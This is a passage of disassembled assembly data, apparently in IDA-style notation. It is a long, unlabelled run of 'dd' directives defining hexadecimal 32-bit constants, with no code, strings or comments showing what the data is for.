431F048Dh, 0D5321017h dd 61F616C3h, 3348A455h, 0CF7499BCh, 3F4AE8FCh, 8A255F83h dd 0E3349D46h, 1325023Ch, 617FA59Eh, 64AE81D9h, 3823B988h dd 11B01CD2h, 0AEF12706h, 0B5404CEBh, 0DE27BCAh, 0A8E7B6DCh dd 0ED408DEAh, 0EAFEB92Fh, 32708764h, 333E2E40h, 0C5E35229h dd 112182D5h, 4F09E6B0h, 8D816AC0h, 6B725171h, 44020E28h dd 8021C612h, 94128B59h, 0D863C1F4h, 0EED66B5Eh, 2D088725h dd 0E8B3F2B5h, 9770D442h dd 0B4AA8B5Ah, 9CC1035Ah, 0DE2D2308h, 27F4375Ah, 969A00F8h dd 8FEDBBFCh, 2D0B9D2Dh, 33A3476Ah, 0CACD132Ah, 923329DAh dd 85C6E19Fh, 0C2A4C398h, 0B7DA90BBh, 7D1880C9h, 603B200Dh dd 0AD6F5BC1h, 0F9812555h, 0B2823261h, 536FC2A7h, 0DAF996FCh dd 0E7137565h, 87F1A3F3h, 9751E53Bh, 5E302390h, 5475A99Bh dd 13214FE1h, 41527A04h, 7007C64Ch, 2C7C4D6Dh, 0FE8FCCD6h dd 0B5F1F5CAh, 99D6DED8h, 1D9CDE07h, 87C3A062h, 0EF325BABh dd 0FC01F58Ch, 9E26CBFFh, 2950FD0Ah, 26F106C9h, 0EC8192CFh dd 3359575Ah, 831F8968h, 273D196Eh, 0E6CD44C8h, 0DD91703Dh dd 0B8C696FFh, 120B7520h, 0C5899202h, 6EBC2480h, 8C8BABA8h dd 35D102B9h, 0E8FEA2Dh, 7385A654h, 5417D9A1h, 0DECDB3CEh dd 708D7E8Eh, 0FA9EDF6Ch, 0C2EAF1D2h, 0CB7F1EE9h, 0FC907FB9h dd 8458ABA2h, 0D92C56FDh, 6DD12B67h, 0E8A9429h, 2546C68Ah dd 407AD37Ah, 0E55A7F2Bh, 0CC443BC4h, 1BE86A0Eh, 0A5591F8Fh dd 669769C3h, 0E31630B2h, 0CA0FE414h, 0F68B85B3h, 2187FAADh dd 226646C8h, 0DBED4DD9h, 0C43AE810h, 53D0703Bh, 3C16BDD1h dd 27D57A0Fh, 0BCFAA37Fh, 9553BA2Bh, 0DEDDD98Fh, 0EE96A971h dd 6C6C7FDCh, 5D3BCFBh, 1599E546h, 931EC757h, 0D6A375F9h dd 72FBCB3Fh, 4E57FE76h, 964998h, 0E1252E4Bh, 7DCB7D45h dd 18E4FB80h, 92DFEDBh, 0B8FAA0DAh, 5F06647h, 864C84B4h dd 0AE96665Fh, 1B6E4C4Eh, 0EB8B675Ah, 823D1054h, 26C98EEEh dd 4CF126B9h, 216A3CB9h, 0FE7FA502h, 0DEE24047h, 0C2E0A131h dd 0F618E6F5h, 0E9C59975h, 0BCBEAD8Fh, 0CF768487h, 6178AC9Dh dd 711E61DCh, 0FA21411Dh, 612915E9h, 56112115h, 650A3A9Dh dd 3A01386Eh, 9E0F7334h, 72259512h, 5CFC03ADh, 651656B0h dd 10307BA4h, 0A1628A4h, 4103CE20h, 0F93DDD3Eh, 0B34C021h dd 0ECBEE748h, 0E92351A6h, 5948A20Ch, 96AF20B0h, 4DECB020h dd 78FC4DA9h, 8C0C9BB2h, 522E375Ah, 90B22296h, 13D475BBh dd 66A277D5h, 3C9BB6EEh, 2D78D0F8h, 0A59CB2DDh, 0AE03A785h dd 51C83F70h, 16FB1A10h, 0D52FA360h, 0E79A3A43h, 5764AC89h dd 0B3B4BF97h, 1A2A57D3h, 6A0A5374h, 0AC1E67C8h, 5B94F26Ah dd 57097119h, 22A5A5DEh, 5EE36365h, 744FE6A9h, 4AC1B744h dd 8C0C0B1Ch, 376A550Fh, 0DADBC8D0h, 693BDC34h, 0A17308C6h dd 0F1DD55DEh, 0B1185C3Ch, 6305EF03h, 2FFE04FAh, 2FE8ACF0h dd 930A2D34h, 3CD77CDFh, 0B8A01952h, 58842EB1h, 3D5BCB26h dd 0E8484F29h, 0C46C1461h, 115165F6h, 9818FE03h, 105ED392h dd 72222E00h, 57A49021h, 0D9584675h, 0B415C0C2h, 3871338Dh dd 0C47ACCCBh, 0E1815D74h, 0D305C682h, 0F22035D7h, 864BACD1h dd 0B9EAF7FDh, 0C6FFEBD3h, 664F9AD0h, 9B3A22ABh, 0F220C22Ch dd 0BA8F9993h, 43B22B49h, 0CC8CDCD0h, 0FAA81DEFh, 0CA02E138h dd 9C614816h, 84ECF30Dh, 78F09027h, 5340671Eh, 0FFBBE85Fh dd 0B73E9507h, 824FD7AEh, 0BCDA94CDh, 40F744E7h, 0DF421CC8h dd 1E5BA87Bh, 79D323AFh, 5F354C79h, 96BBF84Fh, 0C1AA52F0h dd 0A8CE77C8h, 0C3EC273Eh, 2FD4C1C2h, 0E424E864h, 716FA0C2h dd 90730F1Dh, 65B99306h, 0BA9198B6h, 89788B40h, 91A18F9h dd 1EFFE773h, 1F0CB577h, 0E3630EC4h, 0C4DC52CCh, 66455F0h dd 9ACF3A68h, 2D2723F8h, 0E16D7152h, 0B8D52995h, 0F908DB94h dd 305ACCDBh, 84641F41h, 6623A750h, 0FB5B9A7Eh, 0C53E5790h dd 50A551D6h, 11F2FC36h, 0CD74E16Fh, 620EADEAh, 0AEFD42E0h dd 4C59177Bh, 0A4D56Ah, 83FF1B71h, 29407CCCh, 8BFDD187h dd 765EE5C1h, 7E8BCAB0h, 0DD6DB512h, 0A2A8C41Fh, 0F43C11E3h dd 0D61A6535h, 7E7AB572h, 0CBDC0626h, 461C94A7h, 0C95FC0AEh dd 8BC3D145h, 2751EA63h, 0FFA3329Fh, 0D847205Ch, 0F0AE1114h dd 0EE7B4032h, 3B1912D5h, 975B4CE7h, 3FE410D4h, 13D07885h dd 0D09E3E2Fh, 3E2CAC20h, 0BFE5DD89h, 0EECC7EC4h, 530D2A23h dd 0A99B792Eh, 56C6A1D9h, 0EAE5E6A4h, 0F87FC80Fh, 4F87069Dh dd 0DCE2C696h, 4A549F6Ah, 0F85B7FAAh, 11761288h, 61D2E1BAh dd 0ED75D504h, 0CF56AE9Eh, 61C63A19h, 57825F1Ah, 0BB25B251h dd 999D8567h, 2BF3CE91h, 0B44C5D69h, 0E5FAD690h, 0AEB2C4EEh dd 0AC85583Dh, 0CAABFD9Bh, 0C7C6988Bh, 0A6077612h, 64460B8Bh dd 6AA9FCE0h, 0E3CACA43h, 12A28D85h, 0EA73E79Ch, 184BB84Eh dd 0F1BEEF1h, 5B5F6BE1h, 9E19300Ch, 66B8166Fh, 9AEBF067h dd 0ADB0F03Eh, 2993DA37h, 0EDFA3545h, 9244F7F8h, 48A69AC4h dd 2CB464D5h, 0B864FED4h, 0DA65F3F2h, 9FB364E2h, 5295C75Ch dd 89BCF25Ch, 8A009888h, 43DEFE8Dh, 57FFCFEEh, 0FB845CA4h dd 21CBE74Ch, 2D991595h, 73EDD083h, 34F39962h, 78827993h dd 8F9F1E6Eh, 3820E7CBh, 0BABBA0A2h, 835101C3h, 9CA9DF8Ah dd 0CFCA9F8Fh, 9063AAA7h, 9051CB3Bh, 5839BCD9h, 88003B98h dd 941311E6h, 50E7D0D9h, 702B8F0Ch, 97C299C1h, 793219ADh dd 0B64F0EC1h, 488E9F0Bh, 0AA0C282Ch, 889D3835h, 0F45A7989h dd 0B1306665h, 20930F71h, 0CD46C799h, 0BD0FB33Ch, 34BB8011h dd 0FC21781Fh, 0F407AA17h, 9812A99Eh, 1E0CDB65h, 0BFCFA747h dd 2241A708h, 0FF215670h, 0E9104BCDh, 0BC2D700Eh, 0E258C7FCh dd 25790A16h, 5792361Ch, 909C55BCh, 718C73ABh, 68C33C25h dd 343562CEh, 0F23767D4h, 0F48B4524h, 2835A650h, 78C95A1Dh dd 867DF622h, 7752656Bh, 338DD274h, 0F610C61Bh, 0E5DD816h dd 9ECF7317h, 70F3104Bh, 36383A79h, 791DDEF5h, 72738955h dd 0FD7520BCh, 611708B3h, 0A31D5998h, 60F51DB9h, 0E996C03h dd 839D8281h, 0DBFF5529h, 0D186E2C5h, 0D1E24F9Fh, 3E93CFC0h dd 0F86EBC45h, 0DE90A776h, 4F717893h, 6505D5F8h, 73DAE7ABh dd 35C0B04Fh, 81B6D853h, 1D671E2Eh, 1BEED138h, 586698F8h dd 938ED4D8h, 0F32D630Bh, 3A9F1F54h, 2D935CCEh, 671093C4h dd 3C09735Bh, 7F065EF8h, 0C071AC39h, 81A35272h, 21CFFABEh dd 537456EEh, 0C11BABD0h, 4D45AAB2h, 4895239Dh, 0B8AC00F9h dd 76A6D5C2h, 0A3BBA16Eh, 7BC23972h, 0FD1D4098h, 49FBA518h dd 890F967Ch, 0F0C4EEC3h, 3972EC1Ah, 815F267Eh, 3172E458h dd 91A9FC10h, 48126825h, 0B02D9556h, 678FCB99h, 26FBE8Bh dd 2FF9D9D9h, 0BB506AA6h, 0CFEFA20Ah, 0A9756A3Ah, 5A2D32E9h dd 2EC4525h, 44F63558h, 0C89C289Dh, 0C41BB2C2h, 8BCC9766h dd 59AA5364h, 0CE8C1820h, 0ABCFFF47h, 0DC0304CAh, 51A6FEA4h dd 3A21B3EFh, 60DE3B2Eh, 0FFC8CD84h, 0B75670D0h, 0C03E1635h dd 64C466A3h, 0E37E1F5Ah, 696F0EC4h, 35374BA3h, 0ACA3AD67h dd 0BEFA10FBh, 0FC2F19AFh, 0E6B6C131h, 0D78326EAh, 34F0EFD3h dd 489617A3h, 4DB223DAh, 6F417130h, 74EF92Ah, 195F9CD6h dd 995868D2h, 80200D28h, 35809194h, 0CFC05A5Fh, 0FBFACD72h dd 0D91267BCh, 0C13927F0h, 3ABB51CBh, 6E362F47h, 0A43F2304h dd 5D62BDAAh, 432E51E4h, 14669BBDh, 0CACB9CEDh, 9D85B7E7h dd 0AED57918h, 0A17B3C58h, 0DCE62E0Bh, 0D5F22542h, 0E292343Ah dd 9E481C7Eh, 0AAD7225Ah, 4345F2EDh, 12F47BD7h, 0CD40A62Dh dd 280622Ah, 0CDA5DBFh, 7307957Ch, 65133D7Ah, 7DC8B939h dd 0BF0B6D14h, 0B602C30Bh, 8BA57BBBh, 0F33B7BD4h, 0A430CA22h dd 7689AE3h, 0EB7408E8h, 0A5638B28h, 142CC546h, 0ECC3B859h dd 1A4DD981h, 1D16EAB7h dd 0B09F4F56h, 0CC97F576h, 91003E9h, 9494F014h, 8257EEBAh dd 0D2BBCB4Eh, 151A0954h, 6081C045h, 6C5F2FA8h, 4C17ACF9h dd 0E5D0F1A5h, 2D3DE74Eh, 0F5CD8093h, 220D7492h, 2A5A93A8h dd 1467CA85h, 0D46AF06Ch, 794D069Eh, 0C9C6D941h, 4A0AF53h dd 21D9C1E6h, 561F9AA8h, 417B358Ch, 7DC3A4F6h, 1215778Fh dd 0CE53D65Fh, 8A11918Dh, 0D08DE147h, 0D72A911Eh, 8E701016h dd 409DED33h, 43109659h, 394F292Dh, 183BF7DBh, 0B5B47250h dd 0F9A40690h, 0CF80506Ch, 4E5CAE81h, 786FA543h, 0F418B8C1h dd 0CD4149Ch, 1B0E95B0h, 0C4FE4A78h, 3CE6776Fh, 0B36C99AFh dd 0F5AF1E5Eh, 0BEA64833h, 0A862CEA1h, 0D49CD0B0h, 540966CFh dd 0EC3B336Ch, 0E5D3AF4Ch, 0D5EE6BFEh, 0EB8DD462h, 0C61BC1C7h dd 1F313650h, 50335240h, 0B400E5BAh, 1A24BBAFh, 31C9162Ch dd 0B2706142h, 20333C2Ah, 0F00711DBh, 0B80AB25Fh, 1F886217h dd 7DBBB902h, 0A41BCCAFh, 1514FB95h, 8057B3D3h, 18F29595h dd 0F20E4FBFh, 0F9CC1A43h, 5D9046EEh, 0BCD15620h, 948F3439h dd 255D287Bh, 266AB995h, 4B752BFBh, 0B2CA9BE7h, 0B594F624h dd 0AE970A17h, 0D5C6B9F6h, 10DE08CBh, 417E2594h, 0F737644Eh dd 0DD4A2E3Bh, 51DC85EDh, 2A0CC08Fh, 0CD5CF4C9h, 0D5489902h dd 67F30026h, 0C6771FE1h, 7037F90Ch, 1FEF8EC4h, 8C38D08Dh dd 0E524B230h, 97D49CFAh, 88D47722h, 0C80C3AF6h, 727F06E5h dd 5AA7781Eh, 5C314D60h, 8CCCE9CFh, 0B186CA87h, 5F77D028h dd 1651AE35h, 0E127B5FAh, 0F10326D9h, 0D5FDE0BBh, 3FF3B4A0h dd 4D5A1F52h, 452761F2h, 95EF3D33h, 41F1375h, 7C22C819h dd 5FFAA35Dh, 0D51AA248h, 8ECB82F9h, 6A03C54Ah, 38D72284h dd 2348955Ah, 863BEAB1h, 758DDFA0h, 0D3ADEF01h, 0ACD2E7Ah dd 0EE21BA37h, 552C5F9Eh, 0A7DF2F9Eh, 7402F11Ch, 611F042Ah dd 3ED1E1A8h, 68A6E24Ch, 0AFAB32C6h, 5211F41Dh, 0E338F072h dd 683CEFA0h, 50788852h, 1C6EFF71h, 73817260h, 0C7649E8Dh dd 0BC900649h, 1250C91Fh, 0FACF02C2h, 5E6888F4h, 0FF9A760Dh dd 3EBDC38Fh, 0FC53345Bh, 403B65A8h, 3ABB50CAh, 9CBC8F8Eh dd 0A4356DD1h, 2C78BB9h, 0B5C2428Bh, 0F3F5BDB9h, 6B254070h dd 0E0A74C3h, 0DE6E9578h, 502BB8E5h, 0ADC84314h, 61BA758Fh dd 0FC9E3914h, 20048C64h, 762759EDh, 206C9FE2h, 7F785CBDh dd 8BC50B3h, 9344F7FCh, 0F5549F71h, 0A9551C99h, 8D6EBB0Fh dd 0B245E579h, 3B6AF036h, 7500FAE5h, 926F4C88h, 205B280Eh dd 955EA137h, 0EAF0F481h, 0E2C42B66h, 65C923B0h, 0FF7C3C96h dd 0AB51F951h, 460B33D6h, 0CDCB9E6Ch, 586E8C52h, 0F22293B7h dd 0C12E8DD1h, 0DA3FB477h, 0CD173774h, 0B0FE99C4h, 7944A47Ch dd 34166329h, 0E644886Fh, 2826A758h, 6AF51C1Fh, 8FC53CA8h dd 3636664Fh, 0E8676ED0h, 0B33A521Fh, 0F9D24774h, 64466A5Ch dd 0F24E20C5h, 66889955h, 0FF54DB04h, 51DBDD89h, 0F9893C0Eh dd 6E4B0E08h, 0F2852E68h, 0F9F81AA8h, 0BC584C4Fh, 0EA255EDBh dd 0F5C1C2C1h, 5EC262AEh, 2F180C78h, 43CBD14Eh, 10D1F2D2h dd 0AE69CFB2h, 0DE037311h, 5E7258C9h, 78256A4Fh, 0FAF620B2h dd 0DEF51BC7h, 0FCBB222Fh, 7CA54088h, 0C303B0C9h, 0BC4C4938h dd 519BE205h, 4BD93C4Bh, 7BA3B6Eh, 40153D67h, 277E142Fh dd 0B4FA055Eh, 7DCD8246h, 3ABDF0F4h, 0B783EEC6h, 5EB2977Ch dd 2964182Ch, 4D3BCD5Dh, 0BBEB6BB8h, 0CA0D092h, 16FCB14Fh dd 0EC270396h, 707B0076h, 6B7488C2h, 97D85C3Eh, 7320F5Ch dd 0CCA6D62Fh, 0BF5263C0h, 78A4B75Eh, 0E79945F7h, 0A3AA4C31h dd 59CCFD43h, 0B93C8894h, 46D1FA89h, 1BA0D45Fh, 39F7520Ch dd 0F1910D5Bh, 5BBA0A4Ah, 970D9182h, 26E9CADBh, 0BDB9A0A5h dd 618A783Bh, 9EF072D0h, 1A948FCDh, 295A88A3h, 319B436Ah dd 0ED2B44FEh, 9C27D992h, 0F692F0D9h, 0D7425E34h, 0FA901652h dd 115AA1FBh, 0DB9D8088h, 0DAD72D43h, 936BC8A5h, 236EAFF0h dd 7C1E4146h, 0C76818C4h, 0F2FDA315h, 2ADF7D36h, 0D5F3FB9Eh dd 0D4BCEB53h, 6779DD14h, 3690F4FBh, 0DA7A5B2Dh, 0F23DB5E7h dd 0DBF7BEACh, 0FE7746CDh, 0B0B384DBh, 236233AAh, 5E6BAC6Bh dd 0B8F73EFDh, 0A3533324h, 44B8C007h, 44CB59F1h, 6FB519D0h dd 4CBC2DF0h, 9BDE73BCh, 6621C058h, 0D795CD5Eh, 6C21726Dh dd 4C23A145h, 0C50D6D73h, 6E951264h, 0BE4F5A77h, 53714622h dd 70D9A5B2h, 53484614h, 541B98D6h, 44C0347h, 7DAB073Dh dd 0A8983CCBh, 3224D354h, 0DC020F56h, 0F9C3C4D4h, 0B0472E9Ah dd 0A523D76Dh, 16E97B88h, 0D2F7C61Bh, 6ECE72B0h, 1C3DFB3Eh dd 59B73641h, 0DA5C1BE8h, 82CE92DEh, 0A90E9D42h, 4EA7C54Eh dd 3A59FC92h, 45BB2A48h, 0A492E9EDh, 6F7DAE3Ah, 9CBC046Fh dd 0EE79885Bh, 53C3A8F7h, 0ED9AE1A7h, 256C63C8h, 3D154A32h dd 8B9576BEh, 83B17777h, 90D099B2h, 0A4D3F266h, 25D6FA8Ah dd 4A5AFFBDh, 9FBD4EE6h, 6D35FE46h, 43E59068h, 0DD7DD7E6h dd 0F5A76AA5h, 829D80E3h, 3CD9B761h, 9B3C8C63h, 0B447700Ah dd 70CD8E25h, 0DBCB3E57h, 0DDD3632Bh, 0C43C35BEh, 6FC6EAB4h dd 0AF994D5Eh, 0FF51C321h, 0EAD0C59Dh, 51D1CD30h, 288D4A83h dd 2343235Bh, 0C20A0B07h, 0F22A1073h, 0CE32A6AFh, 0F42A5D85h dd 0D9550344h, 0D65CBF08h, 1661BD62h, 806DE7A8h, 8B458C6Ch dd 645762AEh, 5D0C80DAh, 0F781019Eh, 3BA49BDDh, 535C299Bh dd 29A8509Ah, 0B477C413h, 0FE036BF2h, 90B0E130h, 0A560118Ch dd 12BCC31Dh, 4E6D40D2h, 0BAEB26CDh, 424FFCBDh, 84EE814h dd 7047E6ADh, 0B78C0B4Ch, 8AA5702Ch, 34287F09h, 85DA6134h dd 0B6B0D780h, 8A7E4379h, 6F9557EEh, 3FB1EF75h, 34FCFC8Ch dd 8FF0AF4Dh, 20621761h, 2A49CADAh, 24C0042Dh, 0EC8080C9h dd 31E8AAEEh, 2A97CEF8h, 37927EDh, 6C66CEA1h, 492B682Dh dd 0AFEC224Eh, 905FF5C2h, 0D8F45B65h, 2FB38724h, 0B01C4D6h dd 0E22EEB55h, 4B75B080h, 50251504h, 63EB59A8h, 0F245B204h dd 995E05F0h, 1A6D783h, 0AE0A8973h, 17BA45C6h, 0FEC96179h dd 5B9C756Ah, 0F138D47h, 14640A0Fh, 8AFAC684h, 87E6DAEFh dd 160A8938h, 54A38F41h, 78A4442Ch, 40634905h, 5FD924EEh dd 0B57BE59Ch, 0AD01B67Ch, 0A1E93855h, 57BF4BF9h, 0A06DE3E1h dd 3BDC9D7Fh, 5A0B7549h, 0DE13D591h, 0ED285053h, 5C04F5D1h dd 3A3FB8F2h, 7920A439h, 3F71A4DCh, 0CDB897D3h, 42B5C406h dd 1B934875h, 0E2AB3A8Ch, 2B21DCA9h, 0F5E84EDEh, 4B10CD99h dd 69D7FAE1h, 0BE50699Bh, 421636ACh, 32685DBAh, 8EAD7C6h dd 536F7273h, 9550399Ch, 70570C02h, 0EAC3842h, 0CC7E3C10h dd 0C92DED29h, 7D3C28A4h, 82135A34h, 861CA790h, 76528852h dd 7184F028h, 401542Dh, 0EA589BB9h, 0AF059056h, 336CB1E0h dd 0AA71F8F2h, 75887BB8h, 72BB6A90h, 0A5FD3037h, 6B5B1B4Ch dd 0E5534F94h, 65BD2285h, 9D1FB49Fh, 17677C3Ch, 679CC2F3h dd 49702FCh, 2C043B7Fh, 57B1A04h, 9ED3259Eh, 963E7E05h dd 0DCA9701Bh, 0E88A0B4Bh, 0B5CA3B78h, 1886498h, 0D95538F2h dd 1EE3C6F1h, 0E4E7CF8Eh, 36B418B4h, 5E3068EDh, 0E089F431h dd 6441BF6Bh, 0CC6F3434h, 0D15AB264h, 0FC22C08Ah, 48E6C5D9h dd 2BB807F0h, 0B5E64492h, 48485121h, 0BB47FFF4h, 8900A6CBh dd 3FB3F465h, 309CEB00h, 18FCB3B3h, 5D1A787Dh, 0AC4AF68Ch dd 0C9288904h, 0C08C45E2h dd 5CBF943Ch, 7BAF18B6h, 5BF28108h, 9F61103h, 545A235Fh dd 7842C82Ch, 0A27F2D3Bh, 0D04E3ADh, 65216029h, 0A3242CEBh dd 567A3E9Dh, 0FAB8CDF4h, 30E87EBEh, 0C6B6C0EEh, 0C87DF6DAh dd 742E68A3h, 2250D659h, 0B7031B06h, 466D83E7h, 3ECF361Fh dd 0BB6C0253h, 7777DAE6h, 5B019A0Fh, 0ED4B1CA1h, 8B06A031h dd 0E5E9D697h, 0D3E2EAC6h, 0A7BBB6A3h, 29EBABC4h, 8432B3D6h dd 25D08A66h, 0B4782564h, 7731F4C6h, 4364CD55h, 9D812FC3h dd 0F9197D62h, 8DBE445Fh, 3E4B9Bh, 0BF2467CDh, 99DE152Ah dd 87F70CDh, 0DA8BE3E1h, 0B2004AEFh, 32E5DAF4h, 0BE4D410Fh dd 7A22FC3Ah, 76707922h, 9903B8F4h, 654111ECh, 66F7CDC9h dd 0D75C03CBh, 7F1E56DEh, 43E4993Eh, 0AA3F3833h, 4C36D35Dh dd 45AF4706h, 723909C3h, 906020A8h, 8D312FBCh, 0D1736922h dd 0F5C9CBCBh, 0A593B0FFh, 6A6FB140h, 602450C2h, 0B1723D4Eh dd 0B0868746h, 98E97D70h, 2E2DDB65h, 0D15DC710h, 5A90130Fh dd 77CCD88Ah, 0C3933A98h, 0E8C55758h, 0AC82FAF3h, 65EDD5ABh dd 39864DACh, 0C0B8441Fh, 5FBBF3EDh, 1CB32375h, 0E8F906EEh dd 0DE1842A3h, 267B86A7h, 49F50CC4h, 83FDF082h, 0C837078Ch dd 8BF7D632h, 1BF807A5h, 0C69B3944h, 0C27073ADh, 0C9812DC3h dd 544B0239h, 581FE7B6h, 0BCE18923h, 6EC91E95h, 0A1938BEh dd 96A6894h, 0C5315A85h, 8D0AA7BBh, 8536A8AAh, 0C9755EBFh dd 7FA02C59h, 0BD22D9A4h, 5D242A09h, 79173902h, 514E335Ah dd 8C4585E1h, 6BC2ABE1h, 78297ECFh, 581B0D65h, 0AA5CE559h dd 0A1A2D729h, 2FD9E069h, 0DA9076C0h, 88A463AAh, 0AFEA9B97h dd 0FF47EC5Eh, 0A04AE87h, 0E8378665h, 0F1332965h, 70CF4411h dd 0E6C8BDBBh, 9DCF37C8h, 356102C1h, 429D27Ah, 0EA00E090h dd 6B2F3444h, 510EBAAEh, 119BCE8Ah, 0D628093Ch, 0C3477C63h dd 0F32719A8h, 0FEA656AAh, 0FE698687h, 17A1CA9Dh, 52DF16A2h dd 2FC4C013h, 63C6E2E2h, 0FC160320h, 11EFE7FFh, 0BE7DF4F5h dd 9695F63Bh, 0DD688A3Eh, 284B0891h, 0FC28EDCAh, 45276228h dd 0E0D11694h, 0A92775DDh, 5F73FC1Ah, 50EC5010h, 9C24049Fh dd 84C2E0CBh, 5048B533h, 0D953CCBAh, 50AA0A13h, 0D70606E0h dd 0BFFBB14Fh, 58789239h, 161811F7h, 0D7B2E81Fh, 0E2FB5C4Ch dd 45A3CEF3h, 4C380A2Ch, 55C4EB6Fh, 0E97F4851h, 5CA8EC08h dd 90963572h, 0D0A6E2E0h, 7ABFD5AAh, 0C48449D3h, 6A34D6EEh dd 6344A129h, 0DA06F8B5h, 47CA5831h, 0DE0ACC3Fh, 8C83D2EBh dd 0A80D25FCh, 8171D2BBh, 0D33F14A9h, 9846A3DEh, 5DCF2A60h dd 8F0AAFEAh, 2203D098h, 7CEA9B75h, 0DEA141F1h, 0DBAD2C8Ch dd 18EC3BD4h, 76EB03CAh, 55942836h, 189DCA20h, 0DE663183h dd 6280C95Dh, 0E5972695h, 39D3F495h, 0D19DB34Eh, 0FA82E52h dd 62E93FAAh, 0CBCAEEBDh, 0FB388D7Ah, 0A5FA8862h, 2DDE357Fh dd 0E8D21A52h, 0DF34D71Ch, 16BFC4B7h, 0A3FAE43Ah, 1DCF76A6h dd 0ED6F1715h, 0E2936C31h, 0CAD767E1h, 568B9FCDh, 0CC1B08E6h dd 6C60744Dh, 35E64286h, 0DADBC6DBh, 0E8F5F7B1h, 14570938h dd 4AB6F9EBh, 4CA67290h, 4254E5E3h, 9BFEA55Ch, 85BB00FFh dd 38298625h, 127328B5h, 94086221h, 55EDBCFCh, 80CED4C1h dd 0D307301Fh, 80EBD0BAh, 2087C2E6h, 0E708BE52h, 0A77FFDDFh dd 0BB80B21Dh, 30995258h, 841596C0h, 0B04C2004h, 0FAE45ABCh dd 1E810D26h, 96FB0F14h, 27FF0C4Ch, 3492BED9h, 0D45D8E80h dd 0A0A0367Ah, 0D5ECC9D3h, 0E6E21C92h, 0CA190E5Dh, 5668DB12h dd 187F2451h, 2444A6ADh, 0EBA11E65h, 81885D58h, 9A93313Dh dd 0F17ADEC3h, 79E54FACh, 9E6D62ABh, 0E8091732h, 131286B8h dd 0D5484179h, 0F2056A1Ah, 0EDECBC7Ah, 93186044h, 11C38AF5h dd 3E8808C0h, 0F0708531h, 2F6B9811h, 0EEF0CE80h, 3734C406h dd 3B05715Ah, 23C958A7h, 6E3A0956h, 8F6F7910h, 7FA01912h dd 0E36A1F2Dh, 5B77EF03h, 58DBAD99h, 0A06D80EDh, 0D314D9D8h dd 1778BA96h, 0EFA4E123h, 1480AB7Bh, 9A0FDC37h, 0CE341597h dd 0DECE0FD3h, 5187AEE7h, 38E12073h, 2D8CF719h, 9551A9E8h dd 9F47BA11h, 7EC94B6Ch, 347579F2h, 803D9684h, 0CC50F40h dd 0A5793FECh, 0A649A7F9h, 79A62F35h, 97025C4Fh, 0E5517BD9h dd 365FED98h, 0A38BA171h, 9DB658EFh, 8E8FFC7Eh, 0FEF641DAh dd 27D1A2B2h, 0F0B69547h, 0B3CE75B5h, 96BAA37Dh, 65CE13C1h dd 0C64CB296h, 97E20386h, 64276166h, 196B353Ah, 16BF3FF2h dd 6E09AE8Eh, 9F7215E0h, 0AEB41063h, 0B81772F2h, 0ECAEEC0Eh dd 0BBDA04A4h, 8251B32h, 1D96B1B7h, 940C3306h, 24BDAB41h dd 0D2311B2Ch, 908AD200h, 0C939C6B8h, 4AFBDEDFh, 1AFDDEE9h dd 0B0A2AF8h, 1335FF78h, 0C6714862h, 0DDCB1CC2h, 6090D745h dd 3BCFCF3Dh, 0F06A3FEEh, 665920D1h, 8A7695C7h, 7BF2CEF3h dd 4873D5ADh, 4AA1CB23h, 8377026Ch, 13B09B01h, 0D53E5144h dd 61BF35E2h, 619D4BFh, 0F6CEB873h, 5810D6BFh, 92C99712h dd 0F985AD1h, 0B58011C7h, 6C4A5B3Bh, 7187AE2Ch, 0E8B86EFBh dd 87C9062Fh, 3663D46h, 11EC7073h, 28D3FFC2h, 0F1506DADh dd 0CC9956D9h, 7F718051h, 0EC94876Fh, 45908F08h, 6EEBF454h dd 0CD256F40h, 0BF29B17Fh, 0BBA7E919h, 8DADCEAh, 0F795EFF4h dd 704E37E0h, 0CAC14D4Dh, 0D4F49A85h, 6E57FA01h, 3A063638h dd 0F9F2F66Ch, 6BE0E9C6h, 9D8F819Ch, 0DE469AFEh, 0FA68F37Eh dd 4661D177h, 619ADC01h, 0F8071C42h, 6F4B74DBh, 72A625C3h dd 0DE98E0B4h, 0F038D80Dh, 0C3B34EE0h, 3395B310h, 7E488A1h dd 0B6D9D6CEh, 40543D9Bh, 0E338A617h, 5BEE2FA3h, 8338F6ADh dd 0F59F0850h, 961F223Dh, 0F00065B9h, 752CAD03h, 0B782AFEEh dd 96196FD5h, 0E353CD91h, 65CCCCF1h, 6F6DD35Bh, 0CBAEE11Ah dd 0A1625F05h, 0ABC43C04h, 4FB47B93h, 0DB0C8939h, 8CCA331Fh dd 7EE52022h, 67A6DAF9h, 0C089FCD6h, 0B3A2E586h, 0C6609882h dd 1D0760FAh, 2F24AECh, 7138A9ADh, 0C46E067Bh, 0E241E489h dd 11FB1A85h, 3B8111E2h, 746BE062h, 0BE2A9550h, 247C900Bh dd 4D03D217h, 6403B61Dh, 0C71C07C1h, 5FB50318h, 9C088C9Dh dd 1B2B1E01h, 0CE040C0Ch, 47B717CDh, 1371AA0Ah, 26CED18Ch dd 80E4D156h, 480F7A3Bh, 7CF52ACAh, 3452EC51h, 71FCE25Bh dd 58F8058Fh, 389420B2h, 22F3D782h, 79CA38Dh, 27E66209h dd 1CE38BEFh, 0F9FC08AFh, 5124F016h, 150D5687h, 0DC72A8F4h dd 0D30F802Ah, 946146ADh, 0A8DBD5DCh, 744E5E29h, 0F7B820E3h dd 0A86D7ABFh, 0FCA43E7Bh, 460682D9h, 0EE965417h, 8E917679h dd 0A3ED2E59h, 7A83EB43h, 5E5084B7h, 3738B914h, 0C0C876BDh dd 4D9C36E3h, 8A53E6F6h, 42E2F12Fh, 0A780BC64h, 109EB558h dd 80BF51A6h, 8F5F794Dh, 631EB846h, 0F47A7DDAh, 818F304Dh dd 6F6F71C5h, 0BB7DD46Bh, 53EEE7BDh, 56CA8CC2h, 69325ABh dd 0C2AF30Dh, 67B7100Dh, 595DB19h, 0AB7F04BAh, 0F4016A47h dd 85B0F65Fh, 374C91ADh, 72ECC51Ah, 0F2A5268Ah, 0F0340EADh dd 3478F8BCh, 363A57DCh, 8A4237F1h, 6BD10697h, 0FB560A4h dd 0E0B2BD7Fh, 4A272FABh, 6514124Fh, 0F207768h, 81F8B159h dd 0A7E73B57h, 1720EDA3h, 0BE3AB613h, 0C5F846D1h, 0F8D0EAACh dd 281E39DEh, 0F493DD8Fh, 0D9D69785h, 0EB35DF20h, 94F84940h dd 412E7BA5h, 0D88154Dh, 84F08EF4h, 0D2533370h, 13F72BD0h dd 7F0528CBh, 41A99E88h dd 566FBF5h, 4F437E7h, 0C94A3B04h, 65D34B4h, 6F297DD3h dd 0A9F14602h, 6B2D321Fh, 0FDE25198h, 9D56BF4h, 2EDB7878h 